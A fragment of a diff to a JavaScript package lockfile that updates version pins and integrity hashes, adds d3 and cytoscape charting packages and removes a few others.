- "css-has-pseudo": ["css-has-pseudo@5.0.2", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.1", "postcss-selector-parser": "^6.0.10", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-q+U+4QdwwB7T9VEW/LyO6CFrLAeLqOykC5mDqJXc7aKZAhDbq7BvGT13VGJe+IwBfdN2o3Xdw2kJ5IxwV1Sc9Q=="],
+ "css-has-pseudo": ["css-has-pseudo@8.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Uz/bsHRbOeir/5Oeuz85tq/yLJLxX+3dpoRdjNTshs6jjqwUg8XaEZGDd0ci3fw7l53Srw0EkJ8mYan0eW5uGQ=="],
- "css-prefers-color-scheme": ["css-prefers-color-scheme@8.0.2", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-OvFghizHJ45x7nsJJUSYLyQNTzsCU8yWjxAc/nhPQg1pbs18LMoET8N3kOweFDPy0JV0OSXN2iqRFhPBHYOeMA=="],
+ "css-prefers-color-scheme": ["css-prefers-color-scheme@11.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-fv0mgtwUhh2m9iio3Kxc2CkrogjIaRdMFaaqyzSFdii17JF4cfPyMNX72B15ZW2Nrr/NZUpxI4dec1VMHYJvdw=="],
"css-select": ["css-select@5.2.2", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.1.0", "domhandler": "^5.0.2", "domutils": "^3.0.1", "nth-check": "^2.0.1" } }, "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw=="],
@@ -2489,7 +2649,7 @@
"css.escape": ["css.escape@1.5.1", "", {}, "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg=="],
- "cssdb": ["cssdb@7.10.0", "", {}, "sha512-yGZ5tmA57gWh/uvdQBHs45wwFY0IBh3ypABk5sEubPBPSzXzkNgsWReqx7gdx6uhC+QoFBe+V8JwBB9/hQ6cIA=="],
+ "cssdb": ["cssdb@8.8.0", "", {}, "sha512-QbLeyz2Bgso1iRlh7IpWk6OKa3lLNGXsujVjDMPl9rOZpxKeiG69icLpbLCFxeURwmcdIfZqQyhlooKJYM4f8Q=="],
"cssesc": ["cssesc@3.0.0", "", { "bin": "bin/cssesc" }, "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg=="],
@@ -2503,14 +2663,84 @@
"csso": ["csso@4.2.0", "", { "dependencies": { "css-tree": "^1.1.2" } }, "sha512-wvlcdIbf6pwKEk7vHj8/Bkc0B4ylXZruLvOgs9doS5eOsOpuodOV2zJChSpkp+pRpYQLQMeF04nr3Z68Sta9jA=="],
- "cssom": ["cssom@0.5.0", "", {}, "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw=="],
-
"cssstyle": ["cssstyle@4.6.0", "", { "dependencies": { "@asamuzakjp/css-color": "^3.2.0", "rrweb-cssom": "^0.8.0" } }, "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg=="],
"csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="],
+ "cytoscape": ["cytoscape@3.33.1", "", {}, "sha512-iJc4TwyANnOGR1OmWhsS9ayRS3s+XQ185FmuHObThD+5AeJCakAAbWv8KimMTt08xCCLNgneQwFp+JRJOr9qGQ=="],
+
+ "cytoscape-cose-bilkent": ["cytoscape-cose-bilkent@4.1.0", "", { "dependencies": { "cose-base": "^1.0.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-wgQlVIUJF13Quxiv5e1gstZ08rnZj2XaLHGoFMYXz7SkNfCDOOteKBE6SYRfA9WxxI/iBc3ajfDoc6hb/MRAHQ=="],
+
+ "cytoscape-fcose": ["cytoscape-fcose@2.2.0", "", { "dependencies": { "cose-base": "^2.2.0" }, "peerDependencies": { "cytoscape": "^3.2.0" } }, "sha512-ki1/VuRIHFCzxWNrsshHYPs6L7TvLu3DL+TyIGEsRcvVERmxokbf5Gdk7mFxZnTdiGtnA4cfSmjZJMviqSuZrQ=="],
+
"d": ["d@1.0.2", "", { "dependencies": { "es5-ext": "^0.10.64", "type": "^2.7.2" } }, "sha512-MOqHvMWF9/9MX6nza0KgvFH4HpMU0EF5uUDXqX/BtxtU8NfB0QzRtJ8Oe/6SuS4kbhyzVJwjd97EA4PKrzJ8bw=="],
+ "d3": ["d3@7.9.0", "", { "dependencies": { "d3-array": "3", "d3-axis": "3", "d3-brush": "3", "d3-chord": "3", "d3-color": "3", "d3-contour": "4", "d3-delaunay": "6", "d3-dispatch": "3", "d3-drag": "3", "d3-dsv": "3", "d3-ease": "3", "d3-fetch": "3", "d3-force": "3", "d3-format": "3", "d3-geo": "3", "d3-hierarchy": "3", "d3-interpolate": "3", "d3-path": "3", "d3-polygon": "3", "d3-quadtree": "3", "d3-random": "3", "d3-scale": "4", "d3-scale-chromatic": "3", "d3-selection": "3", "d3-shape": "3", "d3-time": "3", "d3-time-format": "4", "d3-timer": "3", "d3-transition": "3", "d3-zoom": "3" } }, "sha512-e1U46jVP+w7Iut8Jt8ri1YsPOvFpg46k+K8TpCb0P+zjCkjkPnV7WzfDJzMHy1LnA+wj5pLT1wjO901gLXeEhA=="],
+
+ "d3-array": ["d3-array@3.2.4", "", { "dependencies": { "internmap": "1 - 2" } }, "sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg=="],
+
+ "d3-axis": ["d3-axis@3.0.0", "", {}, "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw=="],
+
+ "d3-brush": ["d3-brush@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "3", "d3-transition": "3" } }, "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ=="],
+
+ "d3-chord": ["d3-chord@3.0.1", "", { "dependencies": { "d3-path": "1 - 3" } }, "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g=="],
+
+ "d3-color": ["d3-color@3.1.0", "", {}, "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA=="],
+
+ "d3-contour": ["d3-contour@4.0.2", "", { "dependencies": { "d3-array": "^3.2.0" } }, "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA=="],
+
+ "d3-delaunay": ["d3-delaunay@6.0.4", "", { "dependencies": { "delaunator": "5" } }, "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A=="],
+
+ "d3-dispatch": ["d3-dispatch@3.0.1", "", {}, "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg=="],
+
+ "d3-drag": ["d3-drag@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-selection": "3" } }, "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg=="],
+
+ "d3-dsv": ["d3-dsv@3.0.1", "", { "dependencies": { "commander": "7", "iconv-lite": "0.6", "rw": "1" }, "bin": { "csv2json": "bin/dsv2json.js", "csv2tsv": "bin/dsv2dsv.js", "dsv2dsv": "bin/dsv2dsv.js", "dsv2json": "bin/dsv2json.js", "json2csv": "bin/json2dsv.js", "json2dsv": "bin/json2dsv.js", "json2tsv": "bin/json2dsv.js", "tsv2csv": "bin/dsv2dsv.js", "tsv2json": "bin/dsv2json.js" } }, "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q=="],
+
+ "d3-ease": ["d3-ease@3.0.1", "", {}, "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w=="],
+
+ "d3-fetch": ["d3-fetch@3.0.1", "", { "dependencies": { "d3-dsv": "1 - 3" } }, "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw=="],
+
+ "d3-force": ["d3-force@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-quadtree": "1 - 3", "d3-timer": "1 - 3" } }, "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg=="],
+
+ "d3-format": ["d3-format@3.1.2", "", {}, "sha512-AJDdYOdnyRDV5b6ArilzCPPwc1ejkHcoyFarqlPqT7zRYjhavcT3uSrqcMvsgh2CgoPbK3RCwyHaVyxYcP2Arg=="],
+
+ "d3-geo": ["d3-geo@3.1.1", "", { "dependencies": { "d3-array": "2.5.0 - 3" } }, "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q=="],
+
+ "d3-hierarchy": ["d3-hierarchy@3.1.2", "", {}, "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA=="],
+
+ "d3-interpolate": ["d3-interpolate@3.0.1", "", { "dependencies": { "d3-color": "1 - 3" } }, "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g=="],
+
+ "d3-path": ["d3-path@3.1.0", "", {}, "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ=="],
+
+ "d3-polygon": ["d3-polygon@3.0.1", "", {}, "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg=="],
+
+ "d3-quadtree": ["d3-quadtree@3.0.1", "", {}, "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw=="],
+
+ "d3-random": ["d3-random@3.0.1", "", {}, "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ=="],
+
+ "d3-sankey": ["d3-sankey@0.12.3", "", { "dependencies": { "d3-array": "1 - 2", "d3-shape": "^1.2.0" } }, "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ=="],
+
+ "d3-scale": ["d3-scale@4.0.2", "", { "dependencies": { "d3-array": "2.10.0 - 3", "d3-format": "1 - 3", "d3-interpolate": "1.2.0 - 3", "d3-time": "2.1.1 - 3", "d3-time-format": "2 - 4" } }, "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ=="],
+
+ "d3-scale-chromatic": ["d3-scale-chromatic@3.1.0", "", { "dependencies": { "d3-color": "1 - 3", "d3-interpolate": "1 - 3" } }, "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ=="],
+
+ "d3-selection": ["d3-selection@3.0.0", "", {}, "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ=="],
+
+ "d3-shape": ["d3-shape@3.2.0", "", { "dependencies": { "d3-path": "^3.1.0" } }, "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA=="],
+
+ "d3-time": ["d3-time@3.1.0", "", { "dependencies": { "d3-array": "2 - 3" } }, "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q=="],
+
+ "d3-time-format": ["d3-time-format@4.1.0", "", { "dependencies": { "d3-time": "1 - 3" } }, "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg=="],
+
+ "d3-timer": ["d3-timer@3.0.1", "", {}, "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA=="],
+
+ "d3-transition": ["d3-transition@3.0.1", "", { "dependencies": { "d3-color": "1 - 3", "d3-dispatch": "1 - 3", "d3-ease": "1 - 3", "d3-interpolate": "1 - 3", "d3-timer": "1 - 3" }, "peerDependencies": { "d3-selection": "2 - 3" } }, "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w=="],
+
+ "d3-zoom": ["d3-zoom@3.0.0", "", { "dependencies": { "d3-dispatch": "1 - 3", "d3-drag": "2 - 3", "d3-interpolate": "1 - 3", "d3-selection": "2 - 3", "d3-transition": "2 - 3" } }, "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw=="],
+
+ "dagre-d3-es": ["dagre-d3-es@7.0.14", "", { "dependencies": { "d3": "^7.9.0", "lodash-es": "^4.17.21" } }, "sha512-P4rFMVq9ESWqmOgK+dlXvOtLwYg0i7u0HBGJER0LZDJT2VHIPAMZ/riPxqJceWMStH5+E61QxFra9kIS3AqdMg=="],
+
"damerau-levenshtein": ["damerau-levenshtein@1.0.8", "", {}, "sha512-sdQSFB7+llfUcQHUQO3+B8ERRj0Oa4w9POWMI/puGtuf7gFywGmkaLCElnudfTiKZV+NvHqL0ifzdrI8Ro7ESA=="],
"data-uri-to-buffer": ["data-uri-to-buffer@4.0.1", "", {}, "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A=="],
@@ -2527,7 +2757,7 @@
"dayjs": ["dayjs@1.11.13", "", {}, "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg=="],
- "debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="],
+ "debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
"decamelize": ["decamelize@1.2.0", "", {}, "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA=="],
@@ -2553,6 +2783,8 @@
"define-properties": ["define-properties@1.2.1", "", { "dependencies": { "define-data-property": "^1.0.1", "has-property-descriptors": "^1.0.0", "object-keys": "^1.1.1" } }, "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg=="],
+ "delaunator": ["delaunator@5.0.1", "", { "dependencies": { "robust-predicates": "^3.0.2" } }, "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw=="],
+
"delayed-stream": ["delayed-stream@1.0.0", "", {}, "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ=="],
"denque": ["denque@2.1.0", "", {}, "sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw=="],
@@ -2577,12 +2809,14 @@
"didyoumean": ["didyoumean@1.2.2", "", {}, "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw=="],
- "diff": ["diff@7.0.0", "", {}, "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw=="],
+ "diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="],
"diff-sequences": ["diff-sequences@29.6.3", "", {}, "sha512-EjePK1srD3P08o2j4f0ExnylqRs5B9tJjcp9t1krH2qRi8CCdsYfwe9JgSLurFBWwq4uOlipzfk5fHNvwFKr8Q=="],
"diffie-hellman": ["diffie-hellman@5.0.3", "", { "dependencies": { "bn.js": "^4.1.0", "miller-rabin": "^4.0.0", "randombytes": "^2.0.0" } }, "sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg=="],
+ "dingbat-to-unicode": ["dingbat-to-unicode@1.0.1", "", {}, "sha512-98l0sW87ZT58pU4i61wa2OHwxbiYSbuxsCBozaVnYX2iCnr3bLM3fIes1/ej7h1YdOKuKt/MLs706TVnALA65w=="],
+
"dlv": ["dlv@1.1.3", "", {}, "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA=="],
"dnd-core": ["dnd-core@16.0.1", "", { "dependencies": { "@react-dnd/asap": "^5.0.1", "@react-dnd/invariant": "^4.0.1", "redux": "^4.2.0" } }, "sha512-HK294sl7tbw6F6IeuK16YSBUoorvHpY8RHO+9yFfaJyCDVb6n7PRcezrOEOa2SBCqiYpemh5Jx20ZcjKdFAVng=="],
@@ -2599,11 +2833,9 @@
"domelementtype": ["domelementtype@2.3.0", "", {}, "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw=="],
- "domexception": ["domexception@4.0.0", "", { "dependencies": { "webidl-conversions": "^7.0.0" } }, "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw=="],
-
"domhandler": ["domhandler@5.0.3", "", { "dependencies": { "domelementtype": "^2.3.0" } }, "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w=="],
- "dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="],
+ "dompurify": ["dompurify@3.3.2", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-6obghkliLdmKa56xdbLOpUZ43pAR6xFy1uOrxBaIDjT+yaRuuybLjGS9eVBoSR/UPU5fq3OXClEHLJNGvbxKpQ=="],
"domutils": ["domutils@3.2.2", "", { "dependencies": { "dom-serializer": "^2.0.0", "domelementtype": "^2.3.0", "domhandler": "^5.0.3" } }, "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw=="],
@@ -2611,6 +2843,8 @@
"downloadjs": ["downloadjs@1.4.7", "", {}, "sha512-LN1gO7+u9xjU5oEScGFKvXhYf7Y/empUIIEAGBs1LzUq/rg5duiDrkuH5A2lQGd5jfMOb9X9usDa2oVXwJ0U/Q=="],
+ "duck": ["duck@0.1.12", "", { "dependencies": { "underscore": "^1.13.1" } }, "sha512-wkctla1O6VfP89gQ+J/yDesM0S7B7XLXjKGzXxMDVFg7uEn706niAtyYovKbyq1oT9YwDcly721/iUWoc8MVRg=="],
+
"dunder-proto": ["dunder-proto@1.0.1", "", { "dependencies": { "call-bind-apply-helpers": "^1.0.1", "es-errors": "^1.3.0", "gopd": "^1.2.0" } }, "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A=="],
"eastasianwidth": ["eastasianwidth@0.2.0", "", {}, "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA=="],
@@ -2639,7 +2873,7 @@
"enhanced-resolve": ["enhanced-resolve@5.17.1", "", { "dependencies": { "graceful-fs": "^4.2.4", "tapable": "^2.2.0" } }, "sha512-LMHl3dXhTcfv8gM4kEzIUeTQ+7fpdA0l2tUf34BddXPkz2A5xJ5L/Pchd5BL6rdccM9QGvu0sWZzK1Z1t4wwyg=="],
- "entities": ["entities@4.5.0", "", {}, "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw=="],
+ "entities": ["entities@7.0.1", "", {}, "sha512-TWrgLOFUQTH994YUyl1yT4uyavY5nNB5muff+RtWaqNVCAK408b5ZnnbNAUEWLTCpum9w6arT70i1XdQ4UeOPA=="],
"environment": ["environment@1.1.0", "", {}, "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q=="],
@@ -2655,8 +2889,6 @@
"es-iterator-helpers": ["es-iterator-helpers@1.2.1", "", { "dependencies": { "call-bind": "^1.0.8", "call-bound": "^1.0.3", "define-properties": "^1.2.1", "es-abstract": "^1.23.6", "es-errors": "^1.3.0", "es-set-tostringtag": "^2.0.3", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.6", "globalthis": "^1.0.4", "gopd": "^1.2.0", "has-property-descriptors": "^1.0.2", "has-proto": "^1.2.0", "has-symbols": "^1.1.0", "internal-slot": "^1.1.0", "iterator.prototype": "^1.1.4", "safe-array-concat": "^1.1.3" } }, "sha512-uDn+FE1yrDzyC0pCo961B2IHbdM8y/ACZsKD4dG6WqrjV53BADjwa7D+1aom2rsNVfLyDgU/eigvlJGJ08OQ4w=="],
- "es-module-lexer": ["es-module-lexer@1.6.0", "", {}, "sha512-qqnD1yMU6tk/jnaMosogGySTZP8YtUgAffA9nMN+E/rjxcfRQ6IEk7IiozUjgxKoFHBGjTLnrHB/YC45r/59EQ=="],
-
"es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
"es-set-tostringtag": ["es-set-tostringtag@2.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "get-intrinsic": "^1.2.6", "has-tostringtag": "^1.0.2", "hasown": "^2.0.2" } }, "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA=="],
@@ -2671,7 +2903,7 @@
"es6-symbol": ["es6-symbol@3.1.4", "", { "dependencies": { "d": "^1.0.2", "ext": "^1.7.0" } }, "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg=="],
- "esbuild": ["esbuild@0.25.1", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.25.1", "@esbuild/android-arm": "0.25.1", "@esbuild/android-arm64": "0.25.1", "@esbuild/android-x64": "0.25.1", "@esbuild/darwin-arm64": "0.25.1", "@esbuild/darwin-x64": "0.25.1", "@esbuild/freebsd-arm64": "0.25.1", "@esbuild/freebsd-x64": "0.25.1", "@esbuild/linux-arm": "0.25.1", "@esbuild/linux-arm64": "0.25.1", "@esbuild/linux-ia32": "0.25.1", "@esbuild/linux-loong64": "0.25.1", "@esbuild/linux-mips64el": "0.25.1", "@esbuild/linux-ppc64": "0.25.1", "@esbuild/linux-riscv64": "0.25.1", "@esbuild/linux-s390x": "0.25.1", "@esbuild/linux-x64": "0.25.1", "@esbuild/netbsd-arm64": "0.25.1", "@esbuild/netbsd-x64": "0.25.1", "@esbuild/openbsd-arm64": "0.25.1", "@esbuild/openbsd-x64": "0.25.1", "@esbuild/sunos-x64": "0.25.1", "@esbuild/win32-arm64": "0.25.1", "@esbuild/win32-ia32": "0.25.1", "@esbuild/win32-x64": "0.25.1" }, "bin": "bin/esbuild" }, "sha512-BGO5LtrGC7vxnqucAe/rmvKdJllfGaYWdyABvyMoXQlfYMb2bbRuReWR5tEGE//4LcNJj9XrkovTqNYRFZHAMQ=="],
+ "esbuild": ["esbuild@0.27.3", "", { "optionalDependencies": { "@esbuild/aix-ppc64": "0.27.3", "@esbuild/android-arm": "0.27.3", "@esbuild/android-arm64": "0.27.3", "@esbuild/android-x64": "0.27.3", "@esbuild/darwin-arm64": "0.27.3", "@esbuild/darwin-x64": "0.27.3", "@esbuild/freebsd-arm64": "0.27.3", "@esbuild/freebsd-x64": "0.27.3", "@esbuild/linux-arm": "0.27.3", "@esbuild/linux-arm64": "0.27.3", "@esbuild/linux-ia32": "0.27.3", "@esbuild/linux-loong64": "0.27.3", "@esbuild/linux-mips64el": "0.27.3", "@esbuild/linux-ppc64": "0.27.3", "@esbuild/linux-riscv64": "0.27.3", "@esbuild/linux-s390x": "0.27.3", "@esbuild/linux-x64": "0.27.3", "@esbuild/netbsd-arm64": "0.27.3", "@esbuild/netbsd-x64": "0.27.3", "@esbuild/openbsd-arm64": "0.27.3", "@esbuild/openbsd-x64": "0.27.3", "@esbuild/openharmony-arm64": "0.27.3", "@esbuild/sunos-x64": "0.27.3", "@esbuild/win32-arm64": "0.27.3", "@esbuild/win32-ia32": "0.27.3", "@esbuild/win32-x64": "0.27.3" }, "bin": { "esbuild": "bin/esbuild" } }, "sha512-8VwMnyGCONIs6cWue2IdpHxHnAjzxnw2Zr7MkVxB2vjmQ2ivqGFb4LEG3SMnv0Gb2F/G/2yA8zUaiL1gywDCCg=="],
"escalade": ["escalade@3.2.0", "", {}, "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA=="],
@@ -2683,8 +2915,6 @@
"escape-string-regexp": ["escape-string-regexp@4.0.0", "", {}, "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA=="],
